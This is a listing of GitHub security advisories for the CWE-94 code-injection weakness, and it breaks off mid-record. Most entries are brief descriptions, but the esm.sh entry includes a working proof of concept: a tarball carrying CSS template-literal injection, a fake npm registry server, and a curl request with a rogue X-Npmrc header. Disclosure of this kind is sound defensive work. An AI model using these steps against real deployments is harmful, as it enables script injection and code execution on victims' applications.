CWE-94
Allowed-with-ReviewImproper Control of Generation of Code ('Code Injection')
Abstraction: Base · Status: Draft
The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.
8284 vulnerabilities reference this CWE, most recent first.
GHSA-HCJ8-R3VF-4JR7
Vulnerability from github – Published: 2022-05-14 02:30 – Updated: 2025-10-22 03:30Microsoft Windows Vista SP2, Windows Server 2008 SP2 and R2 SP1, Windows 7 SP1, Windows 8, Windows 8.1, Windows Server 2012 Gold and R2, and Windows RT Gold and 8.1 allow remote attackers to execute arbitrary code via a crafted OLE object, as exploited in the wild in October 2014 with a crafted PowerPoint document.
{
"affected": [],
"aliases": [
"CVE-2014-6352"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2014-10-22T14:55:00Z",
"severity": "HIGH"
},
"details": "Microsoft Windows Vista SP2, Windows Server 2008 SP2 and R2 SP1, Windows 7 SP1, Windows 8, Windows 8.1, Windows Server 2012 Gold and R2, and Windows RT Gold and 8.1 allow remote attackers to execute arbitrary code via a crafted OLE object, as exploited in the wild in October 2014 with a crafted PowerPoint document.",
"id": "GHSA-hcj8-r3vf-4jr7",
"modified": "2025-10-22T03:30:41Z",
"published": "2022-05-14T02:30:14Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2014-6352"
},
{
"type": "WEB",
"url": "https://docs.microsoft.com/en-us/security-updates/securitybulletins/2014/ms14-064"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/97714"
},
{
"type": "WEB",
"url": "https://technet.microsoft.com/library/security/3010060"
},
{
"type": "WEB",
"url": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2014-6352"
},
{
"type": "WEB",
"url": "http://blogs.technet.com/b/srd/archive/2014/11/11/assessing-risk-for-the-november-2014-security-updates.aspx"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/61803"
},
{
"type": "WEB",
"url": "http://twitter.com/ohjeongwook/statuses/524795124270653440"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/70690"
},
{
"type": "WEB",
"url": "http://www.securitytracker.com/id/1031097"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-HCPF-QV9M-VFGP
Vulnerability from github – Published: 2025-11-19 20:31 – Updated: 2025-11-27 08:30Summary
The esm.sh CDN service contains a Template Literal Injection vulnerability (CWE-94) in its CSS-to-JavaScript module conversion feature.
When a CSS file is requested with the ?module query parameter, esm.sh converts it to a JavaScript module by embedding the CSS content directly into a template literal without proper sanitization.
An attacker can inject malicious JavaScript code using ${...} expressions within CSS files, which will execute when the module is imported by victim applications. This enables Cross-Site Scripting (XSS) in browsers and Remote Code Execution (RCE) in Electron applications.
Root Cause:
The CSS module conversion logic (router.go:1112-1119) performs incomplete sanitization - it only checks for backticks (`) but fails to escape template literal expressions (${...}), allowing arbitrary JavaScript execution when the CSS content is inserted into a template literal string.
Details
File: server/router.go
Lines: 1112-1119
// Convert CSS to JavaScript module when ?module query is present
if pathKind == RawFile && strings.HasSuffix(esm.SubPath, ".css") && query.Has("module") {
filename := path.Join(npmrc.StoreDir(), esm.Name(), "node_modules", esm.PkgName, esm.SubPath)
css, err := os.ReadFile(filename)
if err != nil {
return rex.Status(500, err.Error())
}
buf := bytes.NewBufferString("/* esm.sh - css module */\n")
buf.WriteString("const stylesheet = new CSSStyleSheet();\n")
if bytes.ContainsRune(css, '`') {
// If backtick exists: JSON encode (SAFE)
buf.WriteString("stylesheet.replaceSync(`")
buf.WriteString(strings.TrimSpace(string(utils.MustEncodeJSON(string(css)))))
buf.WriteString(");\n")
} else {
// If no backtick: Direct insertion (VULNERABLE!)
buf.WriteString("stylesheet.replaceSync(`")
buf.Write(css) // ← CSS inserted into template literal without sanitization!
buf.WriteString("`);\n")
}
buf.WriteString("export default stylesheet;\n")
ctx.SetHeader("Content-Type", ctJavaScript)
return buf
}
When CSS does not contain backticks, the code directly inserts the raw CSS content into a JavaScript template literal without escaping ${...} expressions.
Template literals in JavaScript evaluate expressions within ${...}, causing any such expressions in the CSS to execute as JavaScript code.
PoC
Step 1. Create Malicious Package (tar)
import tarfile
import io
import json
from datetime import datetime
# Malicious CSS with template literal injection
evil_css = b"""
body {
background-color: #ffffff;
color: #333333;
}
.container {
max-width: 1200px;
margin: 0 auto;
}
/* js payload */
${alert(1)}
/* More CSS to appear legitimate */
.footer {
margin-top: 20px;
padding: 10px;
}
"""
files = {
"package/index.js": b"module.exports = { version: '1.0.0' };",
"package/package.json": json.dumps({
"name": "test-css-injection",
"version": "1.0.0",
"description": "Test package for CSS injection",
"main": "index.js"
}, indent=2).encode(),
# Malicious CSS file
"package/poc.css": evil_css,
}
with tarfile.open("test-css-injection-1.0.0.tgz", "w:gz") as tar:
for name, content in files.items():
info = tarfile.TarInfo(name=name)
info.size = len(content)
info.mode = 0o644
info.mtime = int(datetime.now().timestamp())
tar.addfile(info, io.BytesIO(content))
print("Malicious CSS tarball created - test-css-injection-1.0.0.tgz")
Step 2. Run Fake Registry Server
# fake-npm-registry.py
from flask import Flask, jsonify, send_file
app = Flask(__name__)
MALICIOUS_TARBALL = "/tmp/test-css-injection-1.0.0.tgz" # HERE MALICIOUS TAR PATH
REGISTRY_URL = "http://host.docker.internal:9999" # HERE FAKE REGISTRY SERVER
@app.route('/<package>')
def get_metadata(package):
return jsonify({
"name": package,
"versions": {
"1.0.0": {
"name": package,
"version": "1.0.0",
"dist": {
"tarball": f"{REGISTRY_URL}/{package}/-/{package}-1.0.0.tgz"
}
}
},
"dist-tags": {"latest": "1.0.0"}
})
@app.route('/<package>/-/<filename>')
def get_tarball(package, filename):
return send_file(MALICIOUS_TARBALL, mimetype='application/gzip')
if __name__ == '__main__':
app.run(host='0.0.0.0', port=9999)
python3 fake-npm-registry.py
Note: I used a fake server for convenience here, but you can also use the official registry (npm, github, etc.)
Step 3. Request Malicious Package with X-Npmrc Header (File Upload)
curl "http://localhost:8080/test-tarslip@1.0.0" \
-H 'X-Npmrc: {"registry":"http://host.docker.internal:9999/"}'
Step 4. Check Cross-site Script (alert(1))
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>CSS Injection Victim Page</title>
</head>
<body>
<script type="module">
// esm.sh import
import styles from "http://localhost:8080/test-css-injection@1.0.0/poc.css?module";
console.log('Styles loaded:', styles);
</script>
</body>
</html>
in esm.sh Playground
Impact
Can execute arbitrary JavaScript. This can sometimes lead to remote code execution. (Electron App, Deno App, ...)
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/esm-dev/esm.sh"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.0.0-20251118065157-87d2f6497574"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-65026"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2025-11-19T20:31:55Z",
"nvd_published_at": "2025-11-19T18:15:50Z",
"severity": "MODERATE"
},
"details": "### Summary\nThe esm.sh CDN service contains a Template Literal Injection vulnerability (CWE-94) in its CSS-to-JavaScript module conversion feature. \n\nWhen a CSS file is requested with the `?module` query parameter, esm.sh converts it to a JavaScript module by embedding the CSS content directly into a template literal without proper sanitization. \n\nAn attacker can inject malicious JavaScript code using `${...}` expressions within CSS files, which will execute when the module is imported by victim applications. This enables Cross-Site Scripting (XSS) in browsers and Remote Code Execution (RCE) in Electron applications.\n\n**Root Cause:** \nThe CSS module conversion logic (`router.go:1112-1119`) performs incomplete sanitization - it only checks for backticks (\\`) but fails to escape template literal expressions (`${...}`), allowing arbitrary JavaScript execution when the CSS content is inserted into a template literal string.\n\n### Details\n**File:** `server/router.go` \n**Lines:** 1112-1119\n\n```go\n// Convert CSS to JavaScript module when ?module query is present\nif pathKind == RawFile \u0026\u0026 strings.HasSuffix(esm.SubPath, \".css\") \u0026\u0026 query.Has(\"module\") {\n filename := path.Join(npmrc.StoreDir(), esm.Name(), \"node_modules\", esm.PkgName, esm.SubPath)\n css, err := os.ReadFile(filename)\n if err != nil {\n return rex.Status(500, err.Error())\n }\n \n buf := bytes.NewBufferString(\"/* esm.sh - css module */\\n\")\n buf.WriteString(\"const stylesheet = new CSSStyleSheet();\\n\")\n \n if bytes.ContainsRune(css, \u0027`\u0027) {\n // If backtick exists: JSON encode (SAFE)\n buf.WriteString(\"stylesheet.replaceSync(`\")\n buf.WriteString(strings.TrimSpace(string(utils.MustEncodeJSON(string(css)))))\n buf.WriteString(\");\\n\")\n } else {\n // If no backtick: Direct insertion (VULNERABLE!)\n buf.WriteString(\"stylesheet.replaceSync(`\")\n buf.Write(css) // \u2190 CSS inserted into template literal without sanitization!\n buf.WriteString(\"`);\\n\")\n }\n \n buf.WriteString(\"export default stylesheet;\\n\")\n ctx.SetHeader(\"Content-Type\", ctJavaScript)\n return buf\n}\n```\nWhen CSS does not contain backticks, the code directly inserts the raw CSS content into a JavaScript template literal without escaping `${...}` expressions. \nTemplate literals in JavaScript evaluate expressions within `${...}`, causing any such expressions in the CSS to execute as JavaScript code.\n\n### PoC\n\n### Step 1. Create Malicious Package (tar)\n```python\nimport tarfile\nimport io\nimport json\nfrom datetime import datetime\n\n# Malicious CSS with template literal injection\nevil_css = b\"\"\"\nbody {\n background-color: #ffffff;\n color: #333333;\n}\n\n.container {\n max-width: 1200px;\n margin: 0 auto;\n}\n\n/* js payload */\n${alert(1)} \n\n/* More CSS to appear legitimate */\n.footer {\n margin-top: 20px;\n padding: 10px;\n}\n\"\"\"\n\nfiles = {\n \"package/index.js\": b\"module.exports = { version: \u00271.0.0\u0027 };\",\n \"package/package.json\": json.dumps({\n \"name\": \"test-css-injection\",\n \"version\": \"1.0.0\",\n \"description\": \"Test package for CSS injection\",\n \"main\": \"index.js\"\n }, indent=2).encode(),\n \n # Malicious CSS file\n \"package/poc.css\": evil_css,\n}\n\nwith tarfile.open(\"test-css-injection-1.0.0.tgz\", \"w:gz\") as tar:\n for name, content in files.items():\n info = tarfile.TarInfo(name=name)\n info.size = len(content)\n info.mode = 0o644\n info.mtime = int(datetime.now().timestamp())\n tar.addfile(info, io.BytesIO(content))\n\nprint(\"Malicious CSS tarball created - test-css-injection-1.0.0.tgz\")\n```\n\n### Step 2. Run Fake Registry Server\n```python\n# fake-npm-registry.py\nfrom flask import Flask, jsonify, send_file\n\napp = Flask(__name__)\n\nMALICIOUS_TARBALL = \"/tmp/test-css-injection-1.0.0.tgz\" # HERE MALICIOUS TAR PATH\nREGISTRY_URL = \"http://host.docker.internal:9999\" # HERE FAKE REGISTRY SERVER\n\n@app.route(\u0027/\u003cpackage\u003e\u0027)\ndef get_metadata(package):\n return jsonify({\n \"name\": package,\n \"versions\": {\n \"1.0.0\": {\n \"name\": package,\n \"version\": \"1.0.0\",\n \"dist\": {\n \"tarball\": f\"{REGISTRY_URL}/{package}/-/{package}-1.0.0.tgz\"\n }\n }\n },\n \"dist-tags\": {\"latest\": \"1.0.0\"}\n })\n\n@app.route(\u0027/\u003cpackage\u003e/-/\u003cfilename\u003e\u0027)\ndef get_tarball(package, filename):\n return send_file(MALICIOUS_TARBALL, mimetype=\u0027application/gzip\u0027)\n\nif __name__ == \u0027__main__\u0027:\n app.run(host=\u00270.0.0.0\u0027, port=9999)\n```\n\n```bash\npython3 fake-npm-registry.py\n```\n\u003e Note: I used a fake server for convenience here, but you can also use the official registry (npm, github, etc.)\n\n\n### Step 3. Request Malicious Package with X-Npmrc Header (File Upload)\n```bash\ncurl \"http://localhost:8080/test-tarslip@1.0.0\" \\\n -H \u0027X-Npmrc: {\"registry\":\"http://host.docker.internal:9999/\"}\u0027\n```\n\n### Step 4. Check Cross-site Script (alert(1))\n```html\n\u003c!DOCTYPE html\u003e\n\u003chtml\u003e\n\u003chead\u003e\n \u003cmeta charset=\"UTF-8\"\u003e\n \u003ctitle\u003eCSS Injection Victim Page\u003c/title\u003e\n\u003c/head\u003e\n\u003cbody\u003e\n \u003cscript type=\"module\"\u003e\n // esm.sh import\n import styles from \"http://localhost:8080/test-css-injection@1.0.0/poc.css?module\";\n \n console.log(\u0027Styles loaded:\u0027, styles);\n \u003c/script\u003e\n\u003c/body\u003e\n\u003c/html\u003e\n```\n\u003cimg width=\"1414\" height=\"238\" alt=\"image\" src=\"https://github.com/user-attachments/assets/acf00a7b-cad2-4af0-8885-9ba2433ba9fb\" /\u003e\n\n### in esm.sh Playground\n\u003cimg width=\"1568\" height=\"502\" alt=\"image\" src=\"https://github.com/user-attachments/assets/b2cd56a9-930e-4e64-a05c-5df02682c897\" /\u003e\n\n\n\n### Impact\nCan execute arbitrary JavaScript.\nThis can sometimes lead to remote code execution.\n(Electron App, Deno App, ...)",
"id": "GHSA-hcpf-qv9m-vfgp",
"modified": "2025-11-27T08:30:39Z",
"published": "2025-11-19T20:31:55Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/esm-dev/esm.sh/security/advisories/GHSA-hcpf-qv9m-vfgp"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-65026"
},
{
"type": "WEB",
"url": "https://github.com/esm-dev/esm.sh/commit/87d2f6497574bf4448641a5527a3ac2beba5fd6c"
},
{
"type": "PACKAGE",
"url": "https://github.com/esm-dev/esm.sh"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "esm.sh CDN service has JS Template Literal Injection in CSS-to-JavaScript"
}
GHSA-HCPJ-7XXX-7PM4
Vulnerability from github – Published: 2024-11-18 06:30 – Updated: 2024-11-18 06:30An issue was discovered in Veritas NetBackup before 10.5. This only applies to NetBackup components running on a Windows Operating System. If a user executes specific NetBackup commands or an attacker uses social engineering techniques to impel the user to execute the commands, a malicious DLL could be loaded, resulting in execution of the attacker's code in the user's security context.
{
"affected": [],
"aliases": [
"CVE-2024-52945"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-11-18T06:15:06Z",
"severity": "HIGH"
},
"details": "An issue was discovered in Veritas NetBackup before 10.5. This only applies to NetBackup components running on a Windows Operating System. If a user executes specific NetBackup commands or an attacker uses social engineering techniques to impel the user to execute the commands, a malicious DLL could be loaded, resulting in execution of the attacker\u0027s code in the user\u0027s security context.",
"id": "GHSA-hcpj-7xxx-7pm4",
"modified": "2024-11-18T06:30:36Z",
"published": "2024-11-18T06:30:36Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-52945"
},
{
"type": "WEB",
"url": "https://www.veritas.com/content/support/en_US/security/VTS24-012"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-HCPJ-QP55-GFPH
Vulnerability from github – Published: 2022-12-06 06:30 – Updated: 2025-11-04 16:40All versions of package gitpython are vulnerable to Remote Code Execution (RCE) due to improper user input validation, which makes it possible to inject a maliciously crafted remote URL into the clone command. Exploiting this vulnerability is possible because the library makes external calls to git without sufficient sanitization of input arguments.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.1.29"
},
"package": {
"ecosystem": "PyPI",
"name": "GitPython"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.1.30"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2022-24439"
],
"database_specific": {
"cwe_ids": [
"CWE-20",
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2022-12-06T14:33:52Z",
"nvd_published_at": "2022-12-06T05:15:00Z",
"severity": "CRITICAL"
},
"details": "All versions of package gitpython are vulnerable to Remote Code Execution (RCE) due to improper user input validation, which makes it possible to inject a maliciously crafted remote URL into the clone command. Exploiting this vulnerability is possible because the library makes external calls to git without sufficient sanitization of input arguments.",
"id": "GHSA-hcpj-qp55-gfph",
"modified": "2025-11-04T16:40:11Z",
"published": "2022-12-06T06:30:17Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-24439"
},
{
"type": "WEB",
"url": "https://github.com/gitpython-developers/GitPython/issues/1515"
},
{
"type": "WEB",
"url": "https://github.com/gitpython-developers/GitPython/commit/2625ed9fc074091c531c27ffcba7902771130261"
},
{
"type": "WEB",
"url": "https://security.snyk.io/vuln/SNYK-PYTHON-GITPYTHON-3113858"
},
{
"type": "WEB",
"url": "https://security.gentoo.org/glsa/202311-01"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/SJHN3QUXPJIMM6SULIR3PR34UFWRAE7X"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/PF6AXUTC5BO7L2SBJMCVKJSPKWY52I5R"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/IKMVYKLWX62UEYKAN64RUZMOIAMZM5JN"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/AV5DV7GBLMOZT7U3Q4TDOJO5R6G3V6GH"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/SJHN3QUXPJIMM6SULIR3PR34UFWRAE7X"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/PF6AXUTC5BO7L2SBJMCVKJSPKWY52I5R"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/IKMVYKLWX62UEYKAN64RUZMOIAMZM5JN"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/AV5DV7GBLMOZT7U3Q4TDOJO5R6G3V6GH"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2024/10/msg00030.html"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2023/07/msg00024.html"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/gitpython/PYSEC-2022-42992.yaml"
},
{
"type": "WEB",
"url": "https://github.com/gitpython-developers/GitPython/releases/tag/3.1.30"
},
{
"type": "WEB",
"url": "https://github.com/gitpython-developers/GitPython/blob/bec61576ae75803bc4e60d8de7a629c194313d1c/git/repo/base.py%23L1249"
},
{
"type": "WEB",
"url": "https://github.com/gitpython-developers/GitPython/blob/bec61576ae75803bc4e60d8de7a629c194313d1c/git/repo/base.py#L1249"
},
{
"type": "PACKAGE",
"url": "https://github.com/gitpython-developers/GitPython"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "GitPython vulnerable to Remote Code Execution due to improper user input validation"
}
GHSA-HCRW-87MG-3F84
Vulnerability from github – Published: 2022-05-24 19:17 – Updated: 2022-05-24 19:17CMSUno version 1.7.2 is affected by a PHP code execution vulnerability. sauvePass action in {webroot}/uno/central.php file calls to file_put_contents() function to write username in password.php file when a user successfully changed their password. The attacker can inject malicious PHP code into password.php and then use the login function to execute code.
{
"affected": [],
"aliases": [
"CVE-2021-40889"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-10-11T10:15:00Z",
"severity": "CRITICAL"
},
"details": "CMSUno version 1.7.2 is affected by a PHP code execution vulnerability. sauvePass action in {webroot}/uno/central.php file calls to file_put_contents() function to write username in password.php file when a user successfully changed their password. The attacker can inject malicious PHP code into password.php and then use the login function to execute code.",
"id": "GHSA-hcrw-87mg-3f84",
"modified": "2022-05-24T19:17:13Z",
"published": "2022-05-24T19:17:13Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-40889"
},
{
"type": "WEB",
"url": "https://github.com/boiteasite/cmsuno/issues/19"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-HCW5-4792-HV87
Vulnerability from github – Published: 2022-05-01 07:27 – Updated: 2022-05-01 07:27Multiple PHP remote file inclusion vulnerabilities in the Journals System module 1.0.2 (RC2) and earlier for phpBB allow remote attackers to execute arbitrary PHP code via a URL in the phpbb_root_path parameter in (1) includes/journals_delete.php, (2) includes/journals_post.php, or (3) includes/journals_edit.php.
{
"affected": [],
"aliases": [
"CVE-2006-5306"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2006-10-17T15:07:00Z",
"severity": "MODERATE"
},
"details": "Multiple PHP remote file inclusion vulnerabilities in the Journals System module 1.0.2 (RC2) and earlier for phpBB allow remote attackers to execute arbitrary PHP code via a URL in the phpbb_root_path parameter in (1) includes/journals_delete.php, (2) includes/journals_post.php, or (3) includes/journals_edit.php.",
"id": "GHSA-hcw5-4792-hv87",
"modified": "2022-05-01T07:27:03Z",
"published": "2022-05-01T07:27:03Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2006-5306"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/29491"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/2522"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/22387"
},
{
"type": "WEB",
"url": "http://securityreason.com/securityalert/1731"
},
{
"type": "WEB",
"url": "http://securitytracker.com/id?1017058"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/archive/1/448443/100/0/threaded"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/20484"
},
{
"type": "WEB",
"url": "http://www.vupen.com/english/advisories/2006/4029"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-HCW7-J5PR-H3VX
Vulnerability from github – Published: 2022-05-14 02:33 – Updated: 2022-05-14 02:33Microsoft Windows SharePoint Services 3.0 SP3; SharePoint Server 2007 SP3, 2010 SP1 and SP2, and 2013 Gold and SP1; SharePoint Foundation 2010 SP1 and SP2 and 2013 Gold and SP1; Project Server 2010 SP1 and SP2 and 2013 Gold and SP1; Web Applications 2010 SP1 and SP2; Office Web Apps Server 2013 Gold and SP1; SharePoint Server 2013 Client Components SDK; and SharePoint Designer 2007 SP3, 2010 SP1 and SP2, and 2013 Gold and SP1 allow remote authenticated users to execute arbitrary code via crafted page content, aka "SharePoint Page Content Vulnerability."
{
"affected": [],
"aliases": [
"CVE-2014-0251"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2014-05-14T11:13:00Z",
"severity": "HIGH"
},
"details": "Microsoft Windows SharePoint Services 3.0 SP3; SharePoint Server 2007 SP3, 2010 SP1 and SP2, and 2013 Gold and SP1; SharePoint Foundation 2010 SP1 and SP2 and 2013 Gold and SP1; Project Server 2010 SP1 and SP2 and 2013 Gold and SP1; Web Applications 2010 SP1 and SP2; Office Web Apps Server 2013 Gold and SP1; SharePoint Server 2013 Client Components SDK; and SharePoint Designer 2007 SP3, 2010 SP1 and SP2, and 2013 Gold and SP1 allow remote authenticated users to execute arbitrary code via crafted page content, aka \"SharePoint Page Content Vulnerability.\"",
"id": "GHSA-hcw7-j5pr-h3vx",
"modified": "2022-05-14T02:33:00Z",
"published": "2022-05-14T02:33:00Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2014-0251"
},
{
"type": "WEB",
"url": "https://docs.microsoft.com/en-us/security-updates/securitybulletins/2014/ms14-022"
},
{
"type": "WEB",
"url": "http://www.securitytracker.com/id/1030227"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-HF23-9PF7-388P
Vulnerability from github – Published: 2019-07-26 16:09 – Updated: 2026-02-24 15:32It was found that xstream API version 1.4.10 before 1.4.11 introduced a regression for a previous deserialization flaw. If the security framework has not been initialized, it may allow a remote attacker to run arbitrary shell commands when unmarshalling XML or any supported format. e.g. JSON. (regression of CVE-2013-7285)
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "com.thoughtworks.xstream:xstream"
},
"ranges": [
{
"events": [
{
"introduced": "1.4.10"
},
{
"fixed": "1.4.11"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"1.4.10"
]
}
],
"aliases": [
"CVE-2019-10173"
],
"database_specific": {
"cwe_ids": [
"CWE-502",
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2019-07-25T10:11:50Z",
"nvd_published_at": "2019-07-23T13:15:00Z",
"severity": "CRITICAL"
},
"details": "It was found that xstream API version 1.4.10 before 1.4.11 introduced a regression for a previous deserialization flaw. If the security framework has not been initialized, it may allow a remote attacker to run arbitrary shell commands when unmarshalling XML or any supported format. e.g. JSON. (regression of CVE-2013-7285)",
"id": "GHSA-hf23-9pf7-388p",
"modified": "2026-02-24T15:32:32Z",
"published": "2019-07-26T16:09:47Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-10173"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2019:3892"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2019:4352"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2020:0445"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2020:0727"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2019-10173"
},
{
"type": "PACKAGE",
"url": "https://github.com/x-stream/xstream"
},
{
"type": "WEB",
"url": "https://www.oracle.com//security-alerts/cpujul2021.html"
},
{
"type": "WEB",
"url": "https://www.oracle.com/security-alerts/cpuApr2021.html"
},
{
"type": "WEB",
"url": "https://www.oracle.com/security-alerts/cpuapr2020.html"
},
{
"type": "WEB",
"url": "https://www.oracle.com/security-alerts/cpujan2021.html"
},
{
"type": "WEB",
"url": "https://www.oracle.com/security-alerts/cpuoct2020.html"
},
{
"type": "WEB",
"url": "http://x-stream.github.io/changes.html#1.4.11"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Deserialization of Untrusted Data and Code Injection in xstream"
}
GHSA-HF26-JXGM-P96M
Vulnerability from github – Published: 2022-05-02 03:47 – Updated: 2022-05-02 03:47PHP remote file inclusion vulnerability in debugger.php in Achievo before 1.4.0 allows remote attackers to execute arbitrary PHP code via a URL in the config_atkroot parameter.
{
"affected": [],
"aliases": [
"CVE-2009-3705"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2009-10-16T16:30:00Z",
"severity": "HIGH"
},
"details": "PHP remote file inclusion vulnerability in debugger.php in Achievo before 1.4.0 allows remote attackers to execute arbitrary PHP code via a URL in the config_atkroot parameter.",
"id": "GHSA-hf26-jxgm-p96m",
"modified": "2022-05-02T03:47:46Z",
"published": "2022-05-02T03:47:46Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2009-3705"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.org/0909-exploits/achievo134-rfi.txt"
},
{
"type": "WEB",
"url": "http://securitytracker.com/id?1023017"
},
{
"type": "WEB",
"url": "http://www.achievo.org/download/releasenotes/1_4_0"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-HF26-VVMX-X8C8
Vulnerability from github – Published: 2022-05-01 18:36 – Updated: 2024-11-26 16:50Plone 2.5 through 2.5.4 and 3.0 through 3.0.2 allows remote attackers to execute arbitrary Python code via network data containing pickled objects for the (1) statusmessages or (2) linkintegrity module, which the module unpickles and executes.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.5.4"
},
"package": {
"ecosystem": "PyPI",
"name": "Plone"
},
"ranges": [
{
"events": [
{
"introduced": "2.5"
},
{
"fixed": "2.5.5"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.0.2"
},
"package": {
"ecosystem": "PyPI",
"name": "Plone"
},
"ranges": [
{
"events": [
{
"introduced": "3.0"
},
{
"fixed": "3.0.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2007-5741"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2023-09-22T21:57:47Z",
"nvd_published_at": "2007-11-07T21:46:00Z",
"severity": "CRITICAL"
},
"details": "Plone 2.5 through 2.5.4 and 3.0 through 3.0.2 allows remote attackers to execute arbitrary Python code via network data containing pickled objects for the (1) statusmessages or (2) linkintegrity module, which the module unpickles and executes.",
"id": "GHSA-hf26-vvmx-x8c8",
"modified": "2024-11-26T16:50:13Z",
"published": "2022-05-01T18:36:14Z",
"references": [
{
